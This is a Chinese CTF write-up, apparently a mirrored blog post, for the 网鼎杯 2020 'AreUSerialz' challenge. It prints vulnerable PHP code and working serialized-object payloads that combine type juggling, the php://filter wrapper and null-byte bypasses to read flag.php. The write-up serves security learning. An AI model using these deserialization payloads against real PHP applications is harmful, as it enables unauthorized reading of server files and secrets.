zoukankan      html  css  js  c++  java
  • [网鼎杯 2020 青龙组]AreUSerialz

    直接给出源码

     <?php
    
    include("flag.php");
    
    highlight_file(__FILE__);
    
    class FileHandler {
    
        protected $op;
        protected $filename;
        protected $content;
    
        function __construct() {
            $op = "1";
            $filename = "/tmp/tmpfile";
            $content = "Hello World!";
            $this->process();
        }
    
        public function process() {
            if($this->op == "1") {
                $this->write();
            } else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }
    
        private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }
    
        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }
    
        private function output($s) {
            echo "[Result]: <br>";
            echo $s;
        }
    
        function __destruct() {
            if($this->op === "2")
                $this->op = "1";
            $this->content = ""; 
            $this->process();
        }
    
    }
    
    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }
    
    if(isset($_GET{'str'})) {
    
        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str);
        }
    
    }

    代码大概看了一下,总体解题思路就是构造反序列化给str变量,当执行这个主函数进行反序列化时,

    调用了FileHandler 类,进而读取flag.php。

    首先我先尝试构造了这样的exp:

    <?php
    
    class FileHandler
    {
    
        protected $op = 2;
        protected $filename = "flag.php";
        protected $content;
    
    }
    $A=new FileHandler();
    $B=serialize($A);
    echo $B;

    O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}

    为什么要构造op=2,由于没有搞清代码执行流程,一开始想的比较简单,就是直接进入read()方法,没有细致考虑destruct方法

        function __destruct() {
            if($this->op === "2")
                $this->op = "1";
            $this->content = ""; 
            $this->process();
        }

    看了师傅们的wp才明确知道构造op=2 是为了当自动执行魔术方法_destruct时,绕过if($this->op === "2")这条强类型判断。

    2==="2"为假,而

    进入到process()方法中2=="2"为真,执行read()方法,读取文件。

    还需要知道的是

    此题的成员变量是protected属性,会在变量名前加%00*%00。此时要注意is_valid方法,%00的ascii码为0,

    是无法通过检查的。

    绕过方法之一是:

    简单的一种是:php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可
    <?php
    
    class FileHandler
    {
    
        public $op = 2;
        public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    //伪协议转化为base64读取,php代码无法直接读取
    public $content; } $A=new FileHandler(); $B=serialize($A); echo $B;

    O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

    传参得到flag。

    还有一种绕过方法就是

    php的序列化字符串中只要把其中的s改成大写的S,后面的字符串就可以用十六进制表示

    O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"*content";N;}

    序列化完结果看似是没有%00,但是直接传参得不到flag。

    其实可以用脚本可以发现是有ascii为0的。

    <?php
    
    class FileHandler
    {
    
        protected $op = 2;
        protected $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
        protected $content;
    
    }
    $A=new FileHandler();
    $B=serialize($A);
    $B = str_replace(chr(0), '0', $B);
    $B = str_replace('s:', 'S:', $B);
    echo $B;

    O:11:"FileHandler":3:{S:5:"0*0op";i:2;S:11:"0*0filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"0*0content";N;}

    传参得到flag.

    总的来说这题涉及到的知识还是挺广的,对于代码的执行流程一定要清楚。

  • 相关阅读:
    ICONS-图标库
    图形资源
    vue项目中,如果修改了组件名称,vscode编辑器会在引入修改组件的名字处提示红色波浪线 The file is in the program because:Imported via xxx Root file specified for compilation .
    接口在dev环境报跨域问题(has been blocked by CORS policy:Response to preflight request doesn't pass access control check:No 'Access-Control-Allow-Origin' header ispresent on the requested resource.),qa环境正常
    阿里云occ的图片文件URL用浏览器直接打开无法访问,提示This XML file does noe appear to have any style information associated with it. The document tree is shown below.
    vue 项目使用element ui 中tree组件 check-strictly 用法(父子不互相关联的反显情况)
    高德地图进行线路规划绘制标记点操作(vue)
    vue中实现拖拽调整顺序功能
    2021-01-22 浏览器相关知识
    2021-01-22 js 相关知识点
  • 原文地址:https://www.cnblogs.com/akger/p/15137082.html
Copyright © 2011-2022 走看看